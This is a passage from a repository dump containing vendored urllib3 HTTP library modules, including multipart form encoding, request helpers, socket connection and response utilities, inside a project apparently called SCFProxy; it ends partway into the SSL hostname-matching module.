``bytes`` or `str``. 111 | :ret: 112 | A unicode string, stripped of troublesome characters. 113 | """ 114 | if isinstance(value, six.binary_type): 115 | value = value.decode("utf-8") 116 | 117 | value = _replace_multiple(value, _HTML5_REPLACEMENTS) 118 | 119 | return u'%s="%s"' % (name, value) 120 | 121 | 122 | # For backwards-compatibility. 123 | format_header_param = format_header_param_html5 124 | 125 | 126 | class RequestField(object): 127 | """ 128 | A data container for request body parameters. 129 | 130 | :param name: 131 | The name of this request field. Must be unicode. 132 | :param data: 133 | The data/value body. 134 | :param filename: 135 | An optional filename of the request field. Must be unicode. 136 | :param headers: 137 | An optional dict-like object of headers to initially use for the field. 138 | :param header_formatter: 139 | An optional callable that is used to encode and format the headers. By 140 | default, this is :func:`format_header_param_html5`. 141 | """ 142 | 143 | def __init__( 144 | self, 145 | name, 146 | data, 147 | filename=None, 148 | headers=None, 149 | header_formatter=format_header_param_html5, 150 | ): 151 | self._name = name 152 | self._filename = filename 153 | self.data = data 154 | self.headers = {} 155 | if headers: 156 | self.headers = dict(headers) 157 | self.header_formatter = header_formatter 158 | 159 | @classmethod 160 | def from_tuples(cls, fieldname, value, header_formatter=format_header_param_html5): 161 | """ 162 | A :class:`~urllib3.fields.RequestField` factory from old-style tuple parameters. 163 | 164 | Supports constructing :class:`~urllib3.fields.RequestField` from 165 | parameter of key/value strings AND key/filetuple. A filetuple is a 166 | (filename, data, MIME type) tuple where the MIME type is optional. 167 | For example:: 168 | 169 | 'foo': 'bar', 170 | 'fakefile': ('foofile.txt', 'contents of foofile'), 171 | 'realfile': ('barfile.txt', open('realfile').read()), 172 | 'typedfile': ('bazfile.bin', open('bazfile').read(), 'image/jpeg'), 173 | 'nonamefile': 'contents of nonamefile field', 174 | 175 | Field names and filenames must be unicode. 176 | """ 177 | if isinstance(value, tuple): 178 | if len(value) == 3: 179 | filename, data, content_type = value 180 | else: 181 | filename, data = value 182 | content_type = guess_content_type(filename) 183 | else: 184 | filename = None 185 | content_type = None 186 | data = value 187 | 188 | request_param = cls( 189 | fieldname, data, filename=filename, header_formatter=header_formatter 190 | ) 191 | request_param.make_multipart(content_type=content_type) 192 | 193 | return request_param 194 | 195 | def _render_part(self, name, value): 196 | """ 197 | Overridable helper function to format a single header parameter. By 198 | default, this calls ``self.header_formatter``. 199 | 200 | :param name: 201 | The name of the parameter, a string expected to be ASCII only. 202 | :param value: 203 | The value of the parameter, provided as a unicode string. 204 | """ 205 | 206 | return self.header_formatter(name, value) 207 | 208 | def _render_parts(self, header_parts): 209 | """ 210 | Helper function to format and quote a single header. 211 | 212 | Useful for single headers that are composed of multiple items. E.g., 213 | 'Content-Disposition' fields. 214 | 215 | :param header_parts: 216 | A sequence of (k, v) tuples or a :class:`dict` of (k, v) to format 217 | as `k1="v1"; k2="v2"; ...`. 218 | """ 219 | parts = [] 220 | iterable = header_parts 221 | if isinstance(header_parts, dict): 222 | iterable = header_parts.items() 223 | 224 | for name, value in iterable: 225 | if value is not None: 226 | parts.append(self._render_part(name, value)) 227 | 228 | return u"; ".join(parts) 229 | 230 | def render_headers(self): 231 | """ 232 | Renders the headers for this request field. 233 | """ 234 | lines = [] 235 | 236 | sort_keys = ["Content-Disposition", "Content-Type", "Content-Location"] 237 | for sort_key in sort_keys: 238 | if self.headers.get(sort_key, False): 239 | lines.append(u"%s: %s" % (sort_key, self.headers[sort_key])) 240 | 241 | for header_name, header_value in self.headers.items(): 242 | if header_name not in sort_keys: 243 | if header_value: 244 | lines.append(u"%s: %s" % (header_name, header_value)) 245 | 246 | lines.append(u"\r\n") 247 | return u"\r\n".join(lines) 248 | 249 | def make_multipart( 250 | self, content_disposition=None, content_type=None, content_location=None 251 | ): 252 | """ 253 | Makes this request field into a multipart request field. 254 | 255 | This method overrides "Content-Disposition", "Content-Type" and 256 | "Content-Location" headers to the request parameter. 257 | 258 | :param content_type: 259 | The 'Content-Type' of the request body. 260 | :param content_location: 261 | The 'Content-Location' of the request body. 262 | 263 | """ 264 | self.headers["Content-Disposition"] = content_disposition or u"form-data" 265 | self.headers["Content-Disposition"] += u"; ".join( 266 | [ 267 | u"", 268 | self._render_parts( 269 | ((u"name", self._name), (u"filename", self._filename)) 270 | ), 271 | ] 272 | ) 273 | self.headers["Content-Type"] = content_type 274 | self.headers["Content-Location"] = content_location 275 | -------------------------------------------------------------------------------- /function/http/package/urllib3/filepost.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import binascii 4 | import codecs 5 | import os 6 | from io import BytesIO 7 | 8 | from .fields import RequestField 9 | from .packages import six 10 | from .packages.six import b 11 | 12 | writer = codecs.lookup("utf-8")[3] 13 | 14 | 15 | def choose_boundary(): 16 | """ 17 | Our embarrassingly-simple replacement for mimetools.choose_boundary. 18 | """ 19 | boundary = binascii.hexlify(os.urandom(16)) 20 | if not six.PY2: 21 | boundary = boundary.decode("ascii") 22 | return boundary 23 | 24 | 25 | def iter_field_objects(fields): 26 | """ 27 | Iterate over fields. 28 | 29 | Supports list of (k, v) tuples and dicts, and lists of 30 | :class:`~urllib3.fields.RequestField`. 31 | 32 | """ 33 | if isinstance(fields, dict): 34 | i = six.iteritems(fields) 35 | else: 36 | i = iter(fields) 37 | 38 | for field in i: 39 | if isinstance(field, RequestField): 40 | yield field 41 | else: 42 | yield RequestField.from_tuples(*field) 43 | 44 | 45 | def iter_fields(fields): 46 | """ 47 | .. deprecated:: 1.6 48 | 49 | Iterate over fields. 50 | 51 | The addition of :class:`~urllib3.fields.RequestField` makes this function 52 | obsolete. Instead, use :func:`iter_field_objects`, which returns 53 | :class:`~urllib3.fields.RequestField` objects. 54 | 55 | Supports list of (k, v) tuples and dicts. 56 | """ 57 | if isinstance(fields, dict): 58 | return ((k, v) for k, v in six.iteritems(fields)) 59 | 60 | return ((k, v) for k, v in fields) 61 | 62 | 63 | def encode_multipart_formdata(fields, boundary=None): 64 | """ 65 | Encode a dictionary of ``fields`` using the multipart/form-data MIME format. 66 | 67 | :param fields: 68 | Dictionary of fields or list of (key, :class:`~urllib3.fields.RequestField`). 69 | 70 | :param boundary: 71 | If not specified, then a random boundary will be generated using 72 | :func:`urllib3.filepost.choose_boundary`. 73 | """ 74 | body = BytesIO() 75 | if boundary is None: 76 | boundary = choose_boundary() 77 | 78 | for field in iter_field_objects(fields): 79 | body.write(b("--%s\r\n" % (boundary))) 80 | 81 | writer(body).write(field.render_headers()) 82 | data = field.data 83 | 84 | if isinstance(data, int): 85 | data = str(data) # Backwards compatibility 86 | 87 | if isinstance(data, six.text_type): 88 | writer(body).write(data) 89 | else: 90 | body.write(data) 91 | 92 | body.write(b"\r\n") 93 | 94 | body.write(b("--%s--\r\n" % (boundary))) 95 | 96 | content_type = str("multipart/form-data; boundary=%s" % boundary) 97 | 98 | return body.getvalue(), content_type 99 | -------------------------------------------------------------------------------- /function/http/package/urllib3/packages/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/function/http/package/urllib3/packages/__init__.py -------------------------------------------------------------------------------- /function/http/package/urllib3/packages/backports/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/function/http/package/urllib3/packages/backports/__init__.py -------------------------------------------------------------------------------- /function/http/package/urllib3/packages/backports/makefile.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | backports.makefile 4 | ~~~~~~~~~~~~~~~~~~ 5 | 6 | Backports the Python 3 ``socket.makefile`` method for use with anything that 7 | wants to create a "fake" socket object. 8 | """ 9 | import io 10 | from socket import SocketIO 11 | 12 | 13 | def backport_makefile( 14 | self, mode="r", buffering=None, encoding=None, errors=None, newline=None 15 | ): 16 | """ 17 | Backport of ``socket.makefile`` from Python 3.5. 18 | """ 19 | if not set(mode) <= {"r", "w", "b"}: 20 | raise ValueError("invalid mode %r (only r, w, b allowed)" % (mode,)) 21 | writing = "w" in mode 22 | reading = "r" in mode or not writing 23 | assert reading or writing 24 | binary = "b" in mode 25 | rawmode = "" 26 | if reading: 27 | rawmode += "r" 28 | if writing: 29 | rawmode += "w" 30 | raw = SocketIO(self, rawmode) 31 | self._makefile_refs += 1 32 | if buffering is None: 33 | buffering = -1 34 | if buffering < 0: 35 | buffering = io.DEFAULT_BUFFER_SIZE 36 | if buffering == 0: 37 | if not binary: 38 | raise ValueError("unbuffered streams must be binary") 39 | return raw 40 | if reading and writing: 41 | buffer = io.BufferedRWPair(raw, raw, buffering) 42 | elif reading: 43 | buffer = io.BufferedReader(raw, buffering) 44 | else: 45 | assert writing 46 | buffer = io.BufferedWriter(raw, buffering) 47 | if binary: 48 | return buffer 49 | text = io.TextIOWrapper(buffer, encoding, errors, newline) 50 | text.mode = mode 51 | return text 52 | -------------------------------------------------------------------------------- /function/http/package/urllib3/request.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from .filepost import encode_multipart_formdata 4 | from .packages.six.moves.urllib.parse import urlencode 5 | 6 | __all__ = ["RequestMethods"] 7 | 8 | 9 | class RequestMethods(object): 10 | """ 11 | Convenience mixin for classes who implement a :meth:`urlopen` method, such 12 | as :class:`urllib3.HTTPConnectionPool` and 13 | :class:`urllib3.PoolManager`. 14 | 15 | Provides behavior for making common types of HTTP request methods and 16 | decides which type of request field encoding to use. 17 | 18 | Specifically, 19 | 20 | :meth:`.request_encode_url` is for sending requests whose fields are 21 | encoded in the URL (such as GET, HEAD, DELETE). 22 | 23 | :meth:`.request_encode_body` is for sending requests whose fields are 24 | encoded in the *body* of the request using multipart or www-form-urlencoded 25 | (such as for POST, PUT, PATCH). 26 | 27 | :meth:`.request` is for making any kind of request, it will look up the 28 | appropriate encoding format and use one of the above two methods to make 29 | the request. 30 | 31 | Initializer parameters: 32 | 33 | :param headers: 34 | Headers to include with all requests, unless other headers are given 35 | explicitly. 36 | """ 37 | 38 | _encode_url_methods = {"DELETE", "GET", "HEAD", "OPTIONS"} 39 | 40 | def __init__(self, headers=None): 41 | self.headers = headers or {} 42 | 43 | def urlopen( 44 | self, 45 | method, 46 | url, 47 | body=None, 48 | headers=None, 49 | encode_multipart=True, 50 | multipart_boundary=None, 51 | **kw 52 | ): # Abstract 53 | raise NotImplementedError( 54 | "Classes extending RequestMethods must implement " 55 | "their own ``urlopen`` method." 56 | ) 57 | 58 | def request(self, method, url, fields=None, headers=None, **urlopen_kw): 59 | """ 60 | Make a request using :meth:`urlopen` with the appropriate encoding of 61 | ``fields`` based on the ``method`` used. 62 | 63 | This is a convenience method that requires the least amount of manual 64 | effort. It can be used in most situations, while still having the 65 | option to drop down to more specific methods when necessary, such as 66 | :meth:`request_encode_url`, :meth:`request_encode_body`, 67 | or even the lowest level :meth:`urlopen`. 68 | """ 69 | method = method.upper() 70 | 71 | urlopen_kw["request_url"] = url 72 | 73 | if method in self._encode_url_methods: 74 | return self.request_encode_url( 75 | method, url, fields=fields, headers=headers, **urlopen_kw 76 | ) 77 | else: 78 | return self.request_encode_body( 79 | method, url, fields=fields, headers=headers, **urlopen_kw 80 | ) 81 | 82 | def request_encode_url(self, method, url, fields=None, headers=None, **urlopen_kw): 83 | """ 84 | Make a request using :meth:`urlopen` with the ``fields`` encoded in 85 | the url. This is useful for request methods like GET, HEAD, DELETE, etc. 86 | """ 87 | if headers is None: 88 | headers = self.headers 89 | 90 | extra_kw = {"headers": headers} 91 | extra_kw.update(urlopen_kw) 92 | 93 | if fields: 94 | url += "?" + urlencode(fields) 95 | 96 | return self.urlopen(method, url, **extra_kw) 97 | 98 | def request_encode_body( 99 | self, 100 | method, 101 | url, 102 | fields=None, 103 | headers=None, 104 | encode_multipart=True, 105 | multipart_boundary=None, 106 | **urlopen_kw 107 | ): 108 | """ 109 | Make a request using :meth:`urlopen` with the ``fields`` encoded in 110 | the body. This is useful for request methods like POST, PUT, PATCH, etc. 111 | 112 | When ``encode_multipart=True`` (default), then 113 | :func:`urllib3.encode_multipart_formdata` is used to encode 114 | the payload with the appropriate content type. Otherwise 115 | :func:`urllib.parse.urlencode` is used with the 116 | 'application/x-www-form-urlencoded' content type. 117 | 118 | Multipart encoding must be used when posting files, and it's reasonably 119 | safe to use it in other times too. However, it may break request 120 | signing, such as with OAuth. 121 | 122 | Supports an optional ``fields`` parameter of key/value strings AND 123 | key/filetuple. A filetuple is a (filename, data, MIME type) tuple where 124 | the MIME type is optional. For example:: 125 | 126 | fields = { 127 | 'foo': 'bar', 128 | 'fakefile': ('foofile.txt', 'contents of foofile'), 129 | 'realfile': ('barfile.txt', open('realfile').read()), 130 | 'typedfile': ('bazfile.bin', open('bazfile').read(), 131 | 'image/jpeg'), 132 | 'nonamefile': 'contents of nonamefile field', 133 | } 134 | 135 | When uploading a file, providing a filename (the first parameter of the 136 | tuple) is optional but recommended to best mimic behavior of browsers. 137 | 138 | Note that if ``headers`` are supplied, the 'Content-Type' header will 139 | be overwritten because it depends on the dynamic random boundary string 140 | which is used to compose the body of the request. The random boundary 141 | string can be explicitly set with the ``multipart_boundary`` parameter. 142 | """ 143 | if headers is None: 144 | headers = self.headers 145 | 146 | extra_kw = {"headers": {}} 147 | 148 | if fields: 149 | if "body" in urlopen_kw: 150 | raise TypeError( 151 | "request got values for both 'fields' and 'body', can only specify one." 152 | ) 153 | 154 | if encode_multipart: 155 | body, content_type = encode_multipart_formdata( 156 | fields, boundary=multipart_boundary 157 | ) 158 | else: 159 | body, content_type = ( 160 | urlencode(fields), 161 | "application/x-www-form-urlencoded", 162 | ) 163 | 164 | extra_kw["body"] = body 165 | extra_kw["headers"] = {"Content-Type": content_type} 166 | 167 | extra_kw["headers"].update(headers) 168 | extra_kw.update(urlopen_kw) 169 | 170 | return self.urlopen(method, url, **extra_kw) 171 | -------------------------------------------------------------------------------- /function/http/package/urllib3/util/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | # For backwards compatibility, provide imports that used to be here. 4 | from .connection import is_connection_dropped 5 | from .request import SKIP_HEADER, SKIPPABLE_HEADERS, make_headers 6 | from .response import is_fp_closed 7 | from .retry import Retry 8 | from .ssl_ import ( 9 | ALPN_PROTOCOLS, 10 | HAS_SNI, 11 | IS_PYOPENSSL, 12 | IS_SECURETRANSPORT, 13 | PROTOCOL_TLS, 14 | SSLContext, 15 | assert_fingerprint, 16 | resolve_cert_reqs, 17 | resolve_ssl_version, 18 | ssl_wrap_socket, 19 | ) 20 | from .timeout import Timeout, current_time 21 | from .url import Url, get_host, parse_url, split_first 22 | from .wait import wait_for_read, wait_for_write 23 | 24 | __all__ = ( 25 | "HAS_SNI", 26 | "IS_PYOPENSSL", 27 | "IS_SECURETRANSPORT", 28 | "SSLContext", 29 | "PROTOCOL_TLS", 30 | "ALPN_PROTOCOLS", 31 | "Retry", 32 | "Timeout", 33 | "Url", 34 | "assert_fingerprint", 35 | "current_time", 36 | "is_connection_dropped", 37 | "is_fp_closed", 38 | "get_host", 39 | "parse_url", 40 | "make_headers", 41 | "resolve_cert_reqs", 42 | "resolve_ssl_version", 43 | "split_first", 44 | "ssl_wrap_socket", 45 | "wait_for_read", 46 | "wait_for_write", 47 | "SKIP_HEADER", 48 | "SKIPPABLE_HEADERS", 49 | ) 50 | -------------------------------------------------------------------------------- /function/http/package/urllib3/util/connection.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import socket 4 | 5 | from ..contrib import _appengine_environ 6 | from ..exceptions import LocationParseError 7 | from ..packages import six 8 | from .wait import NoWayToWaitForSocketError, wait_for_read 9 | 10 | 11 | def is_connection_dropped(conn): # Platform-specific 12 | """ 13 | Returns True if the connection is dropped and should be closed. 14 | 15 | :param conn: 16 | :class:`http.client.HTTPConnection` object. 17 | 18 | Note: For platforms like AppEngine, this will always return ``False`` to 19 | let the platform handle connection recycling transparently for us. 20 | """ 21 | sock = getattr(conn, "sock", False) 22 | if sock is False: # Platform-specific: AppEngine 23 | return False 24 | if sock is None: # Connection already closed (such as by httplib). 25 | return True 26 | try: 27 | # Returns True if readable, which here means it's been dropped 28 | return wait_for_read(sock, timeout=0.0) 29 | except NoWayToWaitForSocketError: # Platform-specific: AppEngine 30 | return False 31 | 32 | 33 | # This function is copied from socket.py in the Python 2.7 standard 34 | # library test suite. Added to its signature is only `socket_options`. 35 | # One additional modification is that we avoid binding to IPv6 servers 36 | # discovered in DNS if the system doesn't have IPv6 functionality. 37 | def create_connection( 38 | address, 39 | timeout=socket._GLOBAL_DEFAULT_TIMEOUT, 40 | source_address=None, 41 | socket_options=None, 42 | ): 43 | """Connect to *address* and return the socket object. 44 | 45 | Convenience function. Connect to *address* (a 2-tuple ``(host, 46 | port)``) and return the socket object. Passing the optional 47 | *timeout* parameter will set the timeout on the socket instance 48 | before attempting to connect. If no *timeout* is supplied, the 49 | global default timeout setting returned by :func:`socket.getdefaulttimeout` 50 | is used. If *source_address* is set it must be a tuple of (host, port) 51 | for the socket to bind as a source address before making the connection. 52 | An host of '' or port 0 tells the OS to use the default. 53 | """ 54 | 55 | host, port = address 56 | if host.startswith("["): 57 | host = host.strip("[]") 58 | err = None 59 | 60 | # Using the value from allowed_gai_family() in the context of getaddrinfo lets 61 | # us select whether to work with IPv4 DNS records, IPv6 records, or both. 62 | # The original create_connection function always returns all records. 63 | family = allowed_gai_family() 64 | 65 | try: 66 | host.encode("idna") 67 | except UnicodeError: 68 | return six.raise_from( 69 | LocationParseError(u"'%s', label empty or too long" % host), None 70 | ) 71 | 72 | for res in socket.getaddrinfo(host, port, family, socket.SOCK_STREAM): 73 | af, socktype, proto, canonname, sa = res 74 | sock = None 75 | try: 76 | sock = socket.socket(af, socktype, proto) 77 | 78 | # If provided, set socket level options before connecting. 79 | _set_socket_options(sock, socket_options) 80 | 81 | if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT: 82 | sock.settimeout(timeout) 83 | if source_address: 84 | sock.bind(source_address) 85 | sock.connect(sa) 86 | return sock 87 | 88 | except socket.error as e: 89 | err = e 90 | if sock is not None: 91 | sock.close() 92 | sock = None 93 | 94 | if err is not None: 95 | raise err 96 | 97 | raise socket.error("getaddrinfo returns an empty list") 98 | 99 | 100 | def _set_socket_options(sock, options): 101 | if options is None: 102 | return 103 | 104 | for opt in options: 105 | sock.setsockopt(*opt) 106 | 107 | 108 | def allowed_gai_family(): 109 | """This function is designed to work in the context of 110 | getaddrinfo, where family=socket.AF_UNSPEC is the default and 111 | will perform a DNS search for both IPv6 and IPv4 records.""" 112 | 113 | family = socket.AF_INET 114 | if HAS_IPV6: 115 | family = socket.AF_UNSPEC 116 | return family 117 | 118 | 119 | def _has_ipv6(host): 120 | """Returns True if the system can bind an IPv6 address.""" 121 | sock = None 122 | has_ipv6 = False 123 | 124 | # App Engine doesn't support IPV6 sockets and actually has a quota on the 125 | # number of sockets that can be used, so just early out here instead of 126 | # creating a socket needlessly. 127 | # See https://github.com/urllib3/urllib3/issues/1446 128 | if _appengine_environ.is_appengine_sandbox(): 129 | return False 130 | 131 | if socket.has_ipv6: 132 | # has_ipv6 returns true if cPython was compiled with IPv6 support. 133 | # It does not tell us if the system has IPv6 support enabled. To 134 | # determine that we must bind to an IPv6 address. 135 | # https://github.com/urllib3/urllib3/pull/611 136 | # https://bugs.python.org/issue658327 137 | try: 138 | sock = socket.socket(socket.AF_INET6) 139 | sock.bind((host, 0)) 140 | has_ipv6 = True 141 | except Exception: 142 | pass 143 | 144 | if sock: 145 | sock.close() 146 | return has_ipv6 147 | 148 | 149 | HAS_IPV6 = _has_ipv6("::1") 150 | -------------------------------------------------------------------------------- /function/http/package/urllib3/util/proxy.py: -------------------------------------------------------------------------------- 1 | from .ssl_ import create_urllib3_context, resolve_cert_reqs, resolve_ssl_version 2 | 3 | 4 | def connection_requires_http_tunnel( 5 | proxy_url=None, proxy_config=None, destination_scheme=None 6 | ): 7 | """ 8 | Returns True if the connection requires an HTTP CONNECT through the proxy. 9 | 10 | :param URL proxy_url: 11 | URL of the proxy. 12 | :param ProxyConfig proxy_config: 13 | Proxy configuration from poolmanager.py 14 | :param str destination_scheme: 15 | The scheme of the destination. (i.e https, http, etc) 16 | """ 17 | # If we're not using a proxy, no way to use a tunnel. 18 | if proxy_url is None: 19 | return False 20 | 21 | # HTTP destinations never require tunneling, we always forward. 22 | if destination_scheme == "http": 23 | return False 24 | 25 | # Support for forwarding with HTTPS proxies and HTTPS destinations. 26 | if ( 27 | proxy_url.scheme == "https" 28 | and proxy_config 29 | and proxy_config.use_forwarding_for_https 30 | ): 31 | return False 32 | 33 | # Otherwise always use a tunnel. 34 | return True 35 | 36 | 37 | def create_proxy_ssl_context( 38 | ssl_version, cert_reqs, ca_certs=None, ca_cert_dir=None, ca_cert_data=None 39 | ): 40 | """ 41 | Generates a default proxy ssl context if one hasn't been provided by the 42 | user. 43 | """ 44 | ssl_context = create_urllib3_context( 45 | ssl_version=resolve_ssl_version(ssl_version), 46 | cert_reqs=resolve_cert_reqs(cert_reqs), 47 | ) 48 | 49 | if ( 50 | not ca_certs 51 | and not ca_cert_dir 52 | and not ca_cert_data 53 | and hasattr(ssl_context, "load_default_certs") 54 | ): 55 | ssl_context.load_default_certs() 56 | 57 | return ssl_context 58 | -------------------------------------------------------------------------------- /function/http/package/urllib3/util/queue.py: -------------------------------------------------------------------------------- 1 | import collections 2 | 3 | from ..packages import six 4 | from ..packages.six.moves import queue 5 | 6 | if six.PY2: 7 | # Queue is imported for side effects on MS Windows. See issue #229. 8 | import Queue as _unused_module_Queue # noqa: F401 9 | 10 | 11 | class LifoQueue(queue.Queue): 12 | def _init(self, _): 13 | self.queue = collections.deque() 14 | 15 | def _qsize(self, len=len): 16 | return len(self.queue) 17 | 18 | def _put(self, item): 19 | self.queue.append(item) 20 | 21 | def _get(self): 22 | return self.queue.pop() 23 | -------------------------------------------------------------------------------- /function/http/package/urllib3/util/request.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from base64 import b64encode 4 | 5 | from ..exceptions import UnrewindableBodyError 6 | from ..packages.six import b, integer_types 7 | 8 | # Pass as a value within ``headers`` to skip 9 | # emitting some HTTP headers that are added automatically. 10 | # The only headers that are supported are ``Accept-Encoding``, 11 | # ``Host``, and ``User-Agent``. 12 | SKIP_HEADER = "@@@SKIP_HEADER@@@" 13 | SKIPPABLE_HEADERS = frozenset(["accept-encoding", "host", "user-agent"]) 14 | 15 | ACCEPT_ENCODING = "gzip,deflate" 16 | try: 17 | try: 18 | import brotlicffi as _unused_module_brotli # noqa: F401 19 | except ImportError: 20 | import brotli as _unused_module_brotli # noqa: F401 21 | except ImportError: 22 | pass 23 | else: 24 | ACCEPT_ENCODING += ",br" 25 | 26 | _FAILEDTELL = object() 27 | 28 | 29 | def make_headers( 30 | keep_alive=None, 31 | accept_encoding=None, 32 | user_agent=None, 33 | basic_auth=None, 34 | proxy_basic_auth=None, 35 | disable_cache=None, 36 | ): 37 | """ 38 | Shortcuts for generating request headers. 39 | 40 | :param keep_alive: 41 | If ``True``, adds 'connection: keep-alive' header. 42 | 43 | :param accept_encoding: 44 | Can be a boolean, list, or string. 45 | ``True`` translates to 'gzip,deflate'. 46 | List will get joined by comma. 47 | String will be used as provided. 48 | 49 | :param user_agent: 50 | String representing the user-agent you want, such as 51 | "python-urllib3/0.6" 52 | 53 | :param basic_auth: 54 | Colon-separated username:password string for 'authorization: basic ...' 55 | auth header. 56 | 57 | :param proxy_basic_auth: 58 | Colon-separated username:password string for 'proxy-authorization: basic ...' 59 | auth header. 60 | 61 | :param disable_cache: 62 | If ``True``, adds 'cache-control: no-cache' header. 63 | 64 | Example:: 65 | 66 | >>> make_headers(keep_alive=True, user_agent="Batman/1.0") 67 | {'connection': 'keep-alive', 'user-agent': 'Batman/1.0'} 68 | >>> make_headers(accept_encoding=True) 69 | {'accept-encoding': 'gzip,deflate'} 70 | """ 71 | headers = {} 72 | if accept_encoding: 73 | if isinstance(accept_encoding, str): 74 | pass 75 | elif isinstance(accept_encoding, list): 76 | accept_encoding = ",".join(accept_encoding) 77 | else: 78 | accept_encoding = ACCEPT_ENCODING 79 | headers["accept-encoding"] = accept_encoding 80 | 81 | if user_agent: 82 | headers["user-agent"] = user_agent 83 | 84 | if keep_alive: 85 | headers["connection"] = "keep-alive" 86 | 87 | if basic_auth: 88 | headers["authorization"] = "Basic " + b64encode(b(basic_auth)).decode("utf-8") 89 | 90 | if proxy_basic_auth: 91 | headers["proxy-authorization"] = "Basic " + b64encode( 92 | b(proxy_basic_auth) 93 | ).decode("utf-8") 94 | 95 | if disable_cache: 96 | headers["cache-control"] = "no-cache" 97 | 98 | return headers 99 | 100 | 101 | def set_file_position(body, pos): 102 | """ 103 | If a position is provided, move file to that point. 104 | Otherwise, we'll attempt to record a position for future use. 105 | """ 106 | if pos is not None: 107 | rewind_body(body, pos) 108 | elif getattr(body, "tell", None) is not None: 109 | try: 110 | pos = body.tell() 111 | except (IOError, OSError): 112 | # This differentiates from None, allowing us to catch 113 | # a failed `tell()` later when trying to rewind the body. 114 | pos = _FAILEDTELL 115 | 116 | return pos 117 | 118 | 119 | def rewind_body(body, body_pos): 120 | """ 121 | Attempt to rewind body to a certain position. 122 | Primarily used for request redirects and retries. 123 | 124 | :param body: 125 | File-like object that supports seek. 126 | 127 | :param int pos: 128 | Position to seek to in file. 129 | """ 130 | body_seek = getattr(body, "seek", None) 131 | if body_seek is not None and isinstance(body_pos, integer_types): 132 | try: 133 | body_seek(body_pos) 134 | except (IOError, OSError): 135 | raise UnrewindableBodyError( 136 | "An error occurred when rewinding request body for redirect/retry." 137 | ) 138 | elif body_pos is _FAILEDTELL: 139 | raise UnrewindableBodyError( 140 | "Unable to record file position for rewinding " 141 | "request body during a redirect/retry." 142 | ) 143 | else: 144 | raise ValueError( 145 | "body_pos must be of type integer, instead it was %s." % type(body_pos) 146 | ) 147 | -------------------------------------------------------------------------------- /function/http/package/urllib3/util/response.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from email.errors import MultipartInvariantViolationDefect, StartBoundaryNotFoundDefect 4 | 5 | from ..exceptions import HeaderParsingError 6 | from ..packages.six.moves import http_client as httplib 7 | 8 | 9 | def is_fp_closed(obj): 10 | """ 11 | Checks whether a given file-like object is closed. 12 | 13 | :param obj: 14 | The file-like object to check. 15 | """ 16 | 17 | try: 18 | # Check `isclosed()` first, in case Python3 doesn't set `closed`. 19 | # GH Issue #928 20 | return obj.isclosed() 21 | except AttributeError: 22 | pass 23 | 24 | try: 25 | # Check via the official file-like-object way. 26 | return obj.closed 27 | except AttributeError: 28 | pass 29 | 30 | try: 31 | # Check if the object is a container for another file-like object that 32 | # gets released on exhaustion (e.g. HTTPResponse). 33 | return obj.fp is None 34 | except AttributeError: 35 | pass 36 | 37 | raise ValueError("Unable to determine whether fp is closed.") 38 | 39 | 40 | def assert_header_parsing(headers): 41 | """ 42 | Asserts whether all headers have been successfully parsed. 43 | Extracts encountered errors from the result of parsing headers. 44 | 45 | Only works on Python 3. 46 | 47 | :param http.client.HTTPMessage headers: Headers to verify. 48 | 49 | :raises urllib3.exceptions.HeaderParsingError: 50 | If parsing errors are found. 51 | """ 52 | 53 | # This will fail silently if we pass in the wrong kind of parameter. 54 | # To make debugging easier add an explicit check. 55 | if not isinstance(headers, httplib.HTTPMessage): 56 | raise TypeError("expected httplib.Message, got {0}.".format(type(headers))) 57 | 58 | defects = getattr(headers, "defects", None) 59 | get_payload = getattr(headers, "get_payload", None) 60 | 61 | unparsed_data = None 62 | if get_payload: 63 | # get_payload is actually email.message.Message.get_payload; 64 | # we're only interested in the result if it's not a multipart message 65 | if not headers.is_multipart(): 66 | payload = get_payload() 67 | 68 | if isinstance(payload, (bytes, str)): 69 | unparsed_data = payload 70 | if defects: 71 | # httplib is assuming a response body is available 72 | # when parsing headers even when httplib only sends 73 | # header data to parse_headers() This results in 74 | # defects on multipart responses in particular. 75 | # See: https://github.com/urllib3/urllib3/issues/800 76 | 77 | # So we ignore the following defects: 78 | # - StartBoundaryNotFoundDefect: 79 | # The claimed start boundary was never found. 80 | # - MultipartInvariantViolationDefect: 81 | # A message claimed to be a multipart but no subparts were found. 82 | defects = [ 83 | defect 84 | for defect in defects 85 | if not isinstance( 86 | defect, (StartBoundaryNotFoundDefect, MultipartInvariantViolationDefect) 87 | ) 88 | ] 89 | 90 | if defects or unparsed_data: 91 | raise HeaderParsingError(defects=defects, unparsed_data=unparsed_data) 92 | 93 | 94 | def is_response_to_head(response): 95 | """ 96 | Checks whether the request of a response has been a HEAD-request. 97 | Handles the quirks of AppEngine. 98 | 99 | :param http.client.HTTPResponse response: 100 | Response to check if the originating request 101 | used 'HEAD' as a method. 102 | """ 103 | # FIXME: Can we do this somehow without accessing private httplib _method? 104 | method = response._method 105 | if isinstance(method, int): # Platform-specific: Appengine 106 | return method == 3 107 | return method.upper() == "HEAD" 108 | -------------------------------------------------------------------------------- /function/http/package/urllib3/util/ssl_match_hostname.py: -------------------------------------------------------------------------------- 1 | """The match_hostname() function from Python 3.3.3, essential when using SSL.""" 2 | 3 | # Note: This file is under the PSF license as the code comes from the python 4 | # stdlib. http://docs.python.org/3/license.html 5 | 6 | import re 7 | import sys 8 | 9 | # ipaddress has been backported to 2.6+ in pypi. If it is installed on the 10 | # system, use it to handle IPAddress ServerAltnames (this was added in 11 | # python-3.5) otherwise only do DNS matching. This allows 12 | # util.ssl_match_hostname to continue to be used in Python 2.7. 13 | try: 14 | import ipaddress 15 | except ImportError: 16 | ipaddress = None 17 | 18 | __version__ = "3.5.0.1" 19 | 20 | 21 | class CertificateError(ValueError): 22 | pass 23 | 24 | 25 | def 